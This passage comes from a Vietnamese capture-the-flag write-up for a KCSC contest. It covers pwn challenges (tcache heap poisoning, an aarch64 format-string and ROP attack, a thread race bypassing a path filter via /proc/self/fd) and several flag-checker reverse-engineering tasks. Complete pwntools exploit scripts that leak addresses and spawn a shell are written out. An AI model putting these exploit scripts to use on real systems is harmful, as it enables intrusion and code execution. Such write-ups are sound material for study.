my_readsau khi xor theo cơ chế của tcache (vì khi malloc cũng cần căn chỉnh chunk sao cho lsb = 0)
ret_addr = ((heap_base+0x2e0)>>12)^(stack_leak - 0x178)
- Sửa fd của chunk trong tache
delete(1)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(heap_base+0x300), 1, 1)
delete(0)
delete(0)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(ret_addr), 1, 1)

Vậy là đã có được địa chi saved rbp trong tcache
Giờ malloc nó và lấy shell thôi
pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\0'))
ret = 0x000000000040101a
add(0x30, b'\0', 1, 1)
add(0x30, p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym['system']),1,1)
KCSC{Have_you_passed_LapTrinhCanBan_yet?}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*0x401539
b*0x401664
b*0x4015c4
b*0x401374
c
''')
if args.REMOTE:
conn = 'nc 36.50.177.41 50006'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
def decrypt(cipher):
key = 0
result = 0
for i in range(6):
bits = 64 - 12 * i
if bits < 0: bits = 0
result = ((cipher ^ key) >> bits) << bits
key = result >> 12
return result
def add(size, name, age, score):
slan(b'> ', 1)
slan(b'Size name: ', size)
sa(b'Name: ', name)
slan(b'Age: ', age)
slan(b'Score: ', score)
def show():
slan(b'> ', 2)
def delete(idx):
slan(b'> ', 3)
slan(b'Index: ', idx)
add(0x10, b'\x11'*8, 1, 1)
add(0x10, b'\x22'*8, 1, 1)
delete(1)
delete(0)
add(0x10, b'\x33'*0x20, 1, 1)
show()
ru(b'\x33'*0x20)
heap_base = decrypt(u64(r(4) + b'\0\0\0\0')) & ~0xfff
info('[*] heap base: ' + hex(heap_base))
delete(0)
add(0x10, b'\x33'*0x18 + p64(0x21), 1, 1)
add(0x10, b'\x22'*8, 1, 1)
add(0x500, b'\x44'*8, 1, 1)
add(0x30, b'\x55'*8, 1, 1)
delete(3)
delete(2)
delete(0)
add(0x10, b'\x33'*0x18+p64(0x21)+b'\x40', 1, 1)
show()
ru(b'ID: 0\nNAME: ')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x21ace0
info('[*] libc base: ' + hex(libc.address))
delete(1)
add(0x10, b'\x33'*0x18+p64(0x21)+p64(libc.sym['__environ']), 1, 1)
show()
ru(b'ID: 0\nNAME: ')
stack_leak = u64(r(6) + b'\0\0')
info('[*] stack leak: ' + hex(stack_leak))
ret_addr = ((heap_base+0x2e0)>>12)^(stack_leak - 0x178)
delete(1)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(heap_base+0x300), 1, 1)
delete(0)
delete(0)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(ret_addr), 1, 1)
pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\0'))
ret = 0x000000000040101a
add(0x30, b'\0', 1, 1)
add(0x30, p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym['system']),1,1)
p.interactive()
KCSC Shop
một bài viết về arm rất hay của anh hlaan đã hỗ trợ mình rất nhiều trong khi làm bài này
Phân tích

- Khác với các bài trước đó được viết với kiến trúc amd64, bài này được viết với aarch64

void main(void)
{
uint uVar1;
int iVar2;
char local_38 [48];
long local_8;
local_8 = __stack_chk_guard;
initialize(&__stack_chk_guard,0);
local_38[0] = '\0';
local_38[1] = '\0';
local_38[2] = '\0';
local_38[3] = '\0';
local_38[4] = '\0';
local_38[5] = '\0';
local_38[6] = '\0';
local_38[7] = '\0';
local_38[8] = '\0';
local_38[9] = '\0';
local_38[10] = '\0';
local_38[0xb] = '\0';
local_38[0xc] = '\0';
local_38[0xd] = '\0';
local_38[0xe] = '\0';
local_38[0xf] = '\0';
local_38[0x10] = '\0';
local_38[0x11] = '\0';
local_38[0x12] = '\0';
local_38[0x13] = '\0';
local_38[0x14] = '\0';
local_38[0x15] = '\0';
local_38[0x16] = '\0';
local_38[0x17] = '\0';
local_38[0x18] = '\0';
local_38[0x19] = '\0';
local_38[0x1a] = '\0';
local_38[0x1b] = '\0';
local_38[0x1c] = '\0';
local_38[0x1d] = '\0';
local_38[0x1e] = '\0';
local_38[0x1f] = '\0';
local_38[0x20] = '\0';
local_38[0x21] = '\0';
local_38[0x22] = '\0';
local_38[0x23] = '\0';
local_38[0x24] = '\0';
local_38[0x25] = '\0';
local_38[0x26] = '\0';
local_38[0x27] = '\0';
local_38[0x28] = '\0';
local_38[0x29] = '\0';
local_38[0x2a] = '\0';
local_38[0x2b] = '\0';
local_38[0x2c] = '\0';
local_38[0x2d] = '\0';
local_38[0x2e] = '\0';
local_38[0x2f] = '\0';
puts("Hello!\nWelcome to KCSC shopping mall");
puts("What ur name, sir?");
printf("> ");
read(0,local_38,0x38);
printf("OK, hi ");
printf(local_38);
uVar1 = sleep(1);
iVar2 = ask_the_shop_owner(uVar1);
if (iVar2 == 1) {
get_date();
}
else if (iVar2 == 2) {
buy_a_gift();
if (count_gift != 0) {
feedback();
}
}
puts("Ahh, have a good day, sir");
puts("Bye");
if (local_8 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail(0);
}
return;
}
Ở dòng 64 có lỗi
Format Stringkhi in ra tên
Vì là aarch64 nên từ arg thứ 8 mới truyền vào trong stack, nên sẽ dùng
%9$pđể leak libc và%17$pđể leak canaryTiếp đến có 2 lựa chọn, nếu chọn
1chỉ in ra ngày nên bỏ qua
int get_date(void)
{
int iVar1;
iVar1 = system("/bin/date");
return iVar1;
}
- Lựa chọn
2thì sẽ được mua hàng và để lại feedback
void buy_a_gift(void)
{
int iVar1;
undefined8 local_18;
undefined8 uStack_10;
long local_8;
local_8 = __stack_chk_guard;
local_18 = 0;
uStack_10 = 0;
iVar1 = menu(&local_18,0);
if (iVar1 == 1) {
red_packet();
}
else if (iVar1 == 2) {
red_wine();
}
else if (iVar1 != 3) {
puts("I don\'t have that stuff, sir");
}
if (local_8 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void red_packet(void)
{
long local_10;
long local_8;
local_8 = __stack_chk_guard;
puts("Oh, red packet is a good choice");
puts("How much money do you want to put in the red packet?");
printf("> ");
__isoc99_scanf(&DAT_004012f8,&local_10);
getchar();
if (1000000 < local_10) {
puts("Wow, you are so rich");
is_VIP = 1;
}
puts("OK, I\'ll pack it for you");
count_gift = count_gift + 1;
if (local_8 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void red_wine(void)
{
int local_c;
long local_8;
local_8 = __stack_chk_guard;
puts("Oh, red wine is a good choice");
puts("How old do you want the wine to be?");
printf("> ");
__isoc99_scanf(&DAT_004011f0,&local_c);
getchar();
if (0x32 < local_c) {
puts("Wow, you are such a wine connoisseur");
is_VIP = 1;
}
puts("OK, I\'ll pack it for you");
count_gift = count_gift + 1;
if (local_8 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
- Ở cả 2 sản phẩm thì đều có khả năng kích hoạt VIP
void feedback(void)
{
char acStack_70 [104];
long local_8;
local_8 = __stack_chk_guard;
puts("I\'m glad to here your feedback:");
printf("> ");
if (is_VIP == '\x01') {
fgets(acStack_70,0x100,stdin);
}
else {
read(0,acStack_70,0x68);
}
puts("Hmmm, I\'ll notice that and thanks for ur report");
if (local_8 != __stack_chk_guard) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
- Khi để lại feedback, nếu là VIP thì sẽ được nhiều lời hơn =>
Stack Buffer Overflow=>ROPđể thực thisystem("/bin/sh")
Leak canary + libc
sa(b'> ', b'%9$p_%17$p')
ru(b'OK, hi ')
# khi khai thác local thì địa chỉ dài hơn trên server
# libc_leak = int(r(14), 16)
libc_leak = int(r(12), 16)
libc.address = libc_leak - 0x273fc
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
ru(b'_')
canary = int(r(18), 16)
info('[*] canary: ' + hex(canary))
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
info('[*] /bin/sh: ' + hex(binsh))
info('[*] system: ' + hex(system))

Rop
- Tiếp đến thì sẽ mua hàng sao cho kích hoạt được VIP
slan(b'mind\n> ', 2)
slan(b'wine\n> ', 1)
slan(b' packet?\n> ', 2000000)

Nạp VIP thành công nếu được để lại feedback bằng
fgets(acStack_70,0x100,stdin);Tiếp đến là sẽ ROP. Khác với amd64 (điều khiển saved rip của hàm
feedback) thì trong aarch64 sẽ điều khiển được saved rip của hàm gọi hàmfeedback(là hàmmain)Sau một lúc tham khảo google và ngồi thử thì kiếm được 2 cái phù hợp
Chuyển
/bin/shvàox22rồi vàox0là arg đầu tiênChuyển
systemvàox21-> nhảy vào địa chỉ củax21làsystem
# ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret
gadget1 = libc.address + 0x7b830
# mov x0, x22 ; blr x21
gadget2 = libc.address + 0x10f11c
- Việc còn lại là vừa chạy thử vừa chỉnh lại payload sao cho nó chạy thôi :))
payload = b'\0'*104 + p64(canary) + p64(0) + p64(gadget1)
payload += p64(0)*7 + p64(canary) + p64(0) + p64(gadget2) + p64(0)*2
payload += p64(system) + p64(binsh)
sla(b'feedback:\n> ', payload)
KCSC{0ops_TvT_1_cl4im3d_th4t_y0U_4r3_n0t_4_n00b}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./shop_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
if args.REMOTE:
conn = 'nc 36.50.177.41 50005'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(['qemu-aarch64', '-g' ,'1111' ,'./shop_patched'])
context.log_level = 'debug'
raw_input('Debug')
sa(b'> ', b'%9$p_%17$p')
ru(b'OK, hi ')
libc_leak = int(r(12), 16)
libc.address = libc_leak - 0x273fc
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
ru(b'_')
canary = int(r(18), 16)
info('[*] canary: ' + hex(canary))
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
info('[*] /bin/sh: ' + hex(binsh))
info('[*] system: ' + hex(system))
slan(b'mind\n> ', 2)
slan(b'wine\n> ', 1)
slan(b' packet?\n> ', 2000000)
# ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret
gadget1 = libc.address + 0x7b830
# mov x0, x22 ; blr x21
gadget2 = libc.address + 0x10f11c
payload = b'\0'*104 + p64(canary) + p64(0) + p64(gadget1)
payload += p64(0)*7 + p64(canary) + p64(0) + p64(gadget2) + p64(0)*2
payload += p64(system) + p64(binsh)
sla(b'feedback:\n> ', payload)
p.interactive()
qwer
Phân tích

int setup()
{
int result; // eax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = pipe(fd);
if ( result < 0 )
exit(-1);
return result;
}
Hàm
setup()tạo ra một pipe và lưu vào trong biến fd

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread; // [rsp+8h] [rbp-228h] BYREF
char buf; // [rsp+10h] [rbp-220h] BYREF
__int64 v5; // [rsp+11h] [rbp-21Fh]
__int64 v6; // [rsp+19h] [rbp-217h]
__int64 v7; // [rsp+21h] [rbp-20Fh]
__int64 v8; // [rsp+29h] [rbp-207h]
__int64 v9; // [rsp+31h] [rbp-1FFh]
__int64 v10; // [rsp+39h] [rbp-1F7h]
__int64 v11; // [rsp+41h] [rbp-1EFh]
__int64 v12; // [rsp+49h] [rbp-1E7h]
__int64 v13; // [rsp+51h] [rbp-1DFh]
__int64 v14; // [rsp+59h] [rbp-1D7h]
__int64 v15; // [rsp+61h] [rbp-1CFh]
__int64 v16; // [rsp+69h] [rbp-1C7h]
__int64 v17; // [rsp+71h] [rbp-1BFh]
__int64 v18; // [rsp+79h] [rbp-1B7h]
__int64 v19; // [rsp+81h] [rbp-1AFh]
__int64 v20; // [rsp+89h] [rbp-1A7h]
__int64 v21; // [rsp+91h] [rbp-19Fh]
__int64 v22; // [rsp+99h] [rbp-197h]
__int64 v23; // [rsp+A1h] [rbp-18Fh]
__int64 v24; // [rsp+A9h] [rbp-187h]
__int64 v25; // [rsp+B1h] [rbp-17Fh]
__int64 v26; // [rsp+B9h] [rbp-177h]
__int64 v27; // [rsp+C1h] [rbp-16Fh]
__int64 v28; // [rsp+C9h] [rbp-167h]
__int64 v29; // [rsp+D1h] [rbp-15Fh]
__int64 v30; // [rsp+D9h] [rbp-157h]
__int64 v31; // [rsp+E1h] [rbp-14Fh]
__int64 v32; // [rsp+E9h] [rbp-147h]
__int64 v33; // [rsp+F1h] [rbp-13Fh]
__int64 v34; // [rsp+F9h] [rbp-137h]
__int64 v35; // [rsp+101h] [rbp-12Fh]
__int64 v36; // [rsp+109h] [rbp-127h]
unsigned __int64 v37; // [rsp+218h] [rbp-18h]
v37 = __readfsqword(0x28u);
setup(a1, a2, a3);
pthread_create(&newthread, 0LL, start_routine, 0LL);
while ( 1 )
{
read(0, &buf, 0x200uLL);
if ( buf == 1 )
{
*(_QWORD *)haystack = v5;
qword_4068 = v6;
qword_4070 = v7;
qword_4078 = v8;
qword_4080 = v9;
qword_4088 = v10;
qword_4090 = v11;
qword_4098 = v12;
qword_40A0 = v13;
qword_40A8 = v14;
qword_40B0 = v15;
qword_40B8 = v16;
qword_40C0 = v17;
qword_40C8 = v18;
qword_40D0 = v19;
qword_40D8 = v20;
qword_40E0 = v21;
qword_40E8 = v22;
qword_40F0 = v23;
qword_40F8 = v24;
qword_4100 = v25;
qword_4108 = v26;
qword_4110 = v27;
qword_4118 = v28;
qword_4120 = v29;
qword_4128 = v30;
qword_4130 = v31;
qword_4138 = v32;
qword_4140 = v33;
qword_4148 = v34;
qword_4150 = v35;
qword_4158 = v36;
}
else if ( buf == 2 )
{
write(dword_4164, &buf, 1uLL);
}
}
}
- Hàm
pthread_create()tạo một thread mới và chạy hàmstart_routinesong song với hàmmain()ở thread đầu
void __fastcall __noreturn start_routine(void *a1)
{
char buf; // [rsp+7h] [rbp-419h] BYREF
int fd; // [rsp+8h] [rbp-418h]
int v3; // [rsp+Ch] [rbp-414h]
_BYTE v4[1032]; // [rsp+10h] [rbp-410h] BYREF
unsigned __int64 v5; // [rsp+418h] [rbp-8h]
v5 = __readfsqword(0x28u);
while ( 1 )
{
do
read(::fd[0], &buf, 1uLL);
while ( (unsigned int)check(haystack) );
fd = open(haystack, 0);
if ( fd >= 0 && !strstr(haystack, "flag") )
{
v3 = read(fd, v4, 0x400uLL);
if ( v3 >= 0 )
{
write(1, v4, v3);
close(fd);
}
}
}
}
Có thể thấy ở hàm
main, dùngread()để nhập vàobufvà các biến đằng sau đó:Nếu buf = 0x01 thì sẽ copy các 0x100 byte đằng sau
bufđể lưu vào mảnghaystackNếu buf = 0x02 thì sẽ gửi 1 byte đến hàm
start_routinethông qua pipe đã tạo ởsetup-> hàmstart_routinesẽ chỉ chạy tiếp nếu buf = 0x02 (nếu không sẽ dừng lại ở đoạnread)
__int64 __fastcall check(__int64 a1)
{
unsigned __int8 i; // [rsp+17h] [rbp-1h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
{
if ( *(_BYTE *)(i + a1) == 'f'
&& *(_BYTE *)(i + 1LL + a1) == 'l'
&& *(_BYTE *)(i + 2LL + a1) == 'a'
&& *(_BYTE *)(i + 3LL + a1) == 'g' )
{
return 1LL;
}
}
return 0LL;
}
Hàm
checksẽ kiêm tra xem mảnghaystackcó cụmflagnào không nếu không thì có thể mở được file với đường dẫn được viết trong mảnghaystackSau khi mở được file thì lại kiểm tra một lần check
flagnữa, nếu qua được thì sẽ in nội dung file ra và đóng file
Khai thác
Để ý rằng mảng
haystackcó 0x100 (256) byte, và ở hàmcheckthì vòng lặp for chạy với biến i với kiểuunsigned __int8(0-255) => nếu viết đủ 0x100 vào mảnghaystack(không cóflagvà0x00) thì vòng lặp này sẽ loop vô hạnVì ở hai thread khác nhau và chạy song song nên khi vòng lặp này loop vô hạn ở hàm
start_routine, ở hàm main ta sẽ gửi0x01+/flag(và padding NULL đủ 0x100 byte) thì mảnghaystacksẽ được sửa lại và khả năng cao vòng lặp vô hạn sẽ gặp phải byte NULL và sẽ trả về 0 (bypass được hàmcheck) (có 2/256 tỷ lệ thất bại nếu đen lắm lúc sửa lại mảnghaystackthì vòng for đang kiểm tra đúng byte/hoặcf)Lúc này ta có thể open được file
/flagtuy nhiên sẽ không thể đọc được nội dung của file và sẽ không đóng file đó lạiCó một trick (được hint từ anh mentor) giúp ta bypass được lần check thứ 2
Nôm na là khi mở một file, giả sử được trả về file descriptor là
nthì tức là tạo một symlink/proc/<PID>/fd/n->/flag, khi đọc file/proc/<PID>/fd/nthì cũng chính là đọc file/flag
Vậy ở hàm main ta chỉ cần gửi
/proc/<PID>/fd/nlà có thể bypass được 2 lần check và đọc được file/flag
Lưu ý là ở trên local thì file descriptor là 5 nhưng trên server là 8 (debug trên Docker để biết)
KCSC{JOahandA_n3OrEu1_Joah4ndA_j0@hAe_neOr3Ul_m4n!_m4nI_jO4HandaN_MaR1Y4_83oKch@OREUd@_mO7hA3_nAE_mam1_KUK-KUk_Ary30w4_Du_83oNeUn_MAl_M07_H@3_n3o_J!g3um_JaL_D3UR3o8W@_m4eI1_9OM!NHA9o_Y3oN$EupaETDeOn_M4l_jO4h4E}
Full script
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./qwer', checksec=False)
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*{base+0x1395}
b*{base+0x1696}
b*{base+0x1303}
c
''')
if args.REMOTE:
conn = 'nc 36.50.177.41 50009'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
base = get_exe_base(p.pid)
# GDB()
fd = b'\x01'+b'/proc/self/fd/8\0'.ljust(256, b'\0')
flag = b'\x01' + b'/flag'.ljust(256, b'\0')
p.send(b'\x01' + b'/'*256)
sleep(0.2)
p.send(b'\x02')
sleep(0.2)
p.send(flag)
sleep(0.2)
p.send(fd)
sleep(0.2)
p.send(b'\x02')
p.interactive()
IV. Reverse
Cre:robertowen
HIDDEN

Mở ida dễ dàng thấy flag

Submit thử thì báo incorrect, rõ ràng là fakeflag
Vào functions thấy hàm printFlag khả nghi

Xem mã giả ta dễ dàng thấy đây chỉ là mã hóa xor từng byte của v2 với \x88

Bài này warmup nên có thể giải nhanh bằng cách debug và nhảy RIP đến hàm printFlag

Flag: KCSC{you_can't_see_me:v}

easyre

Chạy thử:

Pseudo code:
int __cdecl sub_7FF78B081280(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
size_t v4; // rax
__int64 v5; // rdx
__int64 v6; // rcx
__int64 v7; // r8
__int64 v8; // r9
__int64 v9; // rax
unsigned int v10; // edx
unsigned int v11; // r8d
unsigned __int64 v12; // rax
__m128 v13; // xmm0
__m128 v14; // xmm1
__int64 v15; // rcx
__int64 v16; // rax
char *v17; // rcx
char Buffer[16]; // [rsp+20h] [rbp-68h] BYREF
__int128 v20; // [rsp+30h] [rbp-58h] BYREF
int v21; // [rsp+40h] [rbp-48h]
__int128 v22[2]; // [rsp+48h] [rbp-40h] BYREF
__int64 v23; // [rsp+68h] [rbp-20h]
int v24; // [rsp+70h] [rbp-18h]
char v25; // [rsp+74h] [rbp-14h]
LOBYTE(v21) = 0;
v23 = 0i64;
*(_OWORD *)Buffer = 0i64;
v24 = 0;
v20 = 0i64;
v25 = 0;
memset(v22, 0, sizeof(v22));
sub_7FF78B081010("Enter flag: ");
v3 = _acrt_iob_func(0);
fgets(Buffer, 33, v3);
v4 = strcspn(Buffer, "\n");
if ( v4 >= 0x21 )
{
sub_7FF78B081558(
v6,
v5,
v7,
v8,
*(_QWORD *)Buffer,
*(_QWORD *)&Buffer[8],
v20,
*((_QWORD *)&v20 + 1),
v21,
*(_QWORD *)&v22[0],
*((_QWORD *)&v22[0] + 1));
JUMPOUT(0x7FF78B08141Ei64);
}
Buffer[v4] = 0;
v9 = -1i64;
do
++v9;
while ( Buffer[v9] );
if ( v9 == 32 )
{
sub_7FF78B081070(Buffer, v22);
v10 = 0;
v11 = 0;
v12 = 0i64;
do
{
v13 = (__m128)_mm_loadu_si128((const __m128i *)&byte_7FF78B085078[v12]);
v11 += 32;
v14 = (__m128)_mm_loadu_si128((const __m128i *)&v22[v12 / 0x10]);
v12 += 32i64;
*(__m128 *)&dword_7FF78B085058[v12 / 4] = _mm_xor_ps(v14, v13);
*(__m128 *)&qword_7FF78B085068[v12 / 8] = _mm_xor_ps(
(__m128)_mm_loadu_si128((const __m128i *)((char *)&v20 + v12 + 8)),
(__m128)_mm_loadu_si128((const __m128i *)&qword_7FF78B085068[v12 / 8]));
}
while ( v11 < 0x20 );
v15 = (int)v11;
if ( (unsigned __int64)(int)v11 < 0x2C )
{
do
{
++v11;
byte_7FF78B085078[v15] ^= *((_BYTE *)v22 + v15);
++v15;
}
while ( v11 < 0x2C );
}
v16 = 0i64;
while ( byte_7FF78B0832F0[v16] == byte_7FF78B085078[v16] )
{
++v10;
++v16;
if ( v10 >= 0x2C )
{
v17 = "Correct!\n";
goto LABEL_13;
}
}
}
v17 = "Incorrect!\n";
LABEL_13:
sub_7FF78B081010(v17);
return 0;
}
Xem qua ta có thể thấy chương trình gọi một số hàm mã hóa và cuối cùng là check để kiểm tra flag có đúng không

Tuy code khá dài tuy nhiên ta có thể chú ý một số hàm mã hóa chính như sau
Lần 1:

Chương trình kiểm tra xem đầu vào mà ta nhập có phải là 32 ký tự hay không
Nếu đúng thì sẽ gọi hàm sub_7FF7EEA81070 để mã hóa
Nội dung hàm khá dài và khó nhìn tuy nhiên ta có thể check output để xem hàm làm gì với input
Output:


Ta có thể dễ dàng nhận ra đây là mã hóa base64 của input aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa mà ta đã nhập vào trước đó
Lần 2:

Xor từng bytes của v18 (output của base64 trước đó) với từng bytes của byte_7FF6E4DF5078 và lưu trữ kết quả luôn vào byte_7FF6E4DF5078
Cuối cùng là check: byte_7FF6E4DF5078 với byte_7FF6E4DF32F0

Nếu tất cả các bytes byte_7FF6E4DF5078 và byte_7FF6E4DF32F0 đều giống nhau thì báo Correct! nếu không thì báo Incorrect! Tổng kết:
- Nhận vào chuỗi 32 ký tự
- Mã hóa base64
- Xor với byte_7FF6E4DF5078
- Kiểm tra
Ta dễ dàng viết script decrypt:
import base64
byte_7FF6E4DF32F0=[0xC1, 0x91, 0x69, 0xB4, 0x66, 0xF9, 0x04, 0x12, 0xB2, 0xD3, 0x7D, 0x6B, 0x0F, 0xB9, 0x7F, 0xF5, 0xD2, 0x1C, 0xBF, 0x32, 0x0B, 0x32, 0x34, 0x9C, 0x98, 0xA4, 0x14, 0x37, 0x86, 0xC9, 0xAF, 0xE2, 0x9C, 0x46, 0x2B, 0xEC, 0x9F, 0x63, 0x38, 0x23, 0x54, 0x78, 0xCD, 0xF2]
byte_7FF6E4DF5078=[0x92, 0xA1, 0x27, 0xE0, 0x37, 0xCA, 0x70, 0x7E, 0xE6, 0xBE, 0x33, 0x1D, 0x5D, 0xFE, 0x29, 0x93, 0xB6, 0x66, 0xF9, 0x02, 0x6A, 0x74, 0x0D, 0xDF, 0xD6, 0xEC, 0x5A, 0x71, 0xC8, 0xA3, 0xFD, 0x84, 0xC5, 0x13, 0x1E, 0x87, 0xC7, 0x52, 0x50, 0x55, 0x01, 0x16, 0xFD, 0xCF]
a=''
for i in range(len(byte_7FF6E4DF5078)):
a+=chr(byte_7FF6E4DF5078[i]^byte_7FF6E4DF32F0[i])
p=base64.b64decode(a.encode())
print(p.decode())
#KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}
Flag: KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}
Spy Room

Đây là 1 bài dotnet đơn giản, không có gì phức tạp, chủ yếu là kiểm tra khả năng xài dnspy và cryptography cơ bản
Mở dnspy:

Bài flagchecker gọi khá nhiều hàm xor
Ta có thể dùng GPT gen chương trình decode :((
def xor(a, b):
num = max(len(a), len(b))
result = []
for i in range(num):
if len(a) >= len(b):
result.append(chr(ord(a[i]) ^ ord(b[i % len(b)])))
else:
result.append(chr(ord(a[i % len(a)]) ^ ord(b[i])))
return result
def reverse_xor(source, url):
source_chars = [chr(e) for e in source]
array6 = xor(source_chars, list(url))
num = len(array6)
array2 = array6[:num // 4]
array3 = array6[num // 4:num // 2]
array4 = array6[num // 2:3 * num // 4]
array5 = array6[3 * num // 4:]
array5 = xor(array5, array2)
array4 = xor(array4, array5)
array3 = xor(array3, array4)
array2 = xor(array2, array3)
decoded_array = array2 + array3 + array4 + array5
return ''.join(decoded_array)
def main():
source = [
85, 122, 105, 71, 17, 94, 71, 24, 114, 78, 107, 11, 108, 106, 107, 113, 121, 51, 91, 117, 86, 110, 100,
18, 124, 104, 71, 66, 123, 3, 111, 99, 74, 107, 69, 77, 111, 2, 120, 125, 83, 99, 62, 99, 109, 76, 119,
111, 59, 32, 1, 93, 69, 117, 84, 106, 73, 85, 112, 66, 114, 92, 61, 80, 80, 104, 111, 72, 98, 28, 88,
94, 27, 120, 15, 76, 15, 67, 86, 117, 81, 108, 18, 37, 34, 101, 104, 109, 23, 30, 62, 78, 88, 10, 2, 63,
43, 72, 102, 38, 76, 23, 34, 62, 21, 97, 1, 97
]
url = "https://www.youtube.com/watch?v=L8XbI9aJOXk"
decoded_text = reverse_xor(source, url)
print(decoded_text)
if __name__ == "__main__":
main()
#VXpCT1ZGRXpkRVpaV0U0MVdEQldkVmt6U2pWalNGSndZakkxWmxZeWJEQmhSamxGWWpOU1QxSldVbVpWU0VwMldqTkthR0pVYjNwbVVUMDk=
Output là chuỗi đã bị mã hóa base64 nhiều lần

Flag : KCSC{Easy_Encryption_With_DotNET_Program:3}
EzRev

Pseudocode IDA:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
unsigned int *v4; // r8
int i; // [rsp+20h] [rbp-28h]
__int64 v7; // [rsp+28h] [rbp-20h]
sub_140001200("Enter Something: ", argv, envp);
sub_1400012D0("%s", byte_1400047A8);
if ( (unsigned int)sub_140001100(byte_1400047A8) == -1982483102 )
{
v7 = -1i64;
do
++v7;
while ( byte_1400047A8[v7] );
if ( v7 == 40 )
{
sub_140001000(byte_1400047A8);
dword_1400047A0 = 1;
for ( i = 0; i < 40; ++i )
{
v4 = dword_140004700;
v3 = dword_140004700[i];
if ( dword_140004080[i] != (_DWORD)v3 )
dword_1400047A0 = 0;
}
}
}
if ( dword_1400047A0 )
sub_140001200("Excellent!! Here is your flag: KCSC{%s}", byte_1400047A8);
else
sub_140001200("You're chicken!!!", v3, v4);
return 0;
}
Phân tích sơ qua thì đây có thể là 1 bài flagchecker với một số hàm mã hóa cơ bản
Lần 1:

Chương trình nhận vào input và kiểm tra 1 điều kiện gì đấy

Qua kiểm tra thì đây có thể là một loại hash nào đấy
Vì không thể dịch ngược được và không ảnh hưởng quá nhiều đến chương trình nên mình sẽ patch luôn tại đây để bỏ qua bước kiểm tra điều kiện này

Lần 2:

Đếm số phần tử có trong byte_7FF64BE347A8 (là input ta nhập vào) và kiểm tra xem có đủ 40 ký tự không
gọi hàm sub_7FF64BE31000 để mã hóa

Hàm sub_7FF64BE31000 lấy từng bytes của input rồi xor với các phép toán dịch bit ROR, ROL nhiều lần rồi lưu các giá trị đó vào dword_7FF64BE34700
Cuối cùng là kiểm tra từng phần tử (dword) trong mảng dword_7FF64BE34700 và dword_7FF64BE34080 với nhau:

Tổng kết:
- Kiểm tra hash (bỏ qua)
- Mã hóa qua hàm sub_7FF64BE31000
- Kiểm tra
Do mã hóa từng bytes một nên mình sẽ bruteforce luôn để tiết kiệm thời gian dịch ngược
Script solve:
def _rol(val, bits, bit_size=32):
return (val << bits % bit_size) & (2 ** bit_size - 1) | ((val & (2 ** bit_size - 1)) >> (bit_size - (bits % bit_size)))
def _ror(val, bits, bit_size=32):
return ((val & (2 ** bit_size - 1)) >> bits % bit_size) | (val << (bit_size - (bits % bit_size)) & (2 ** bit_size - 1))
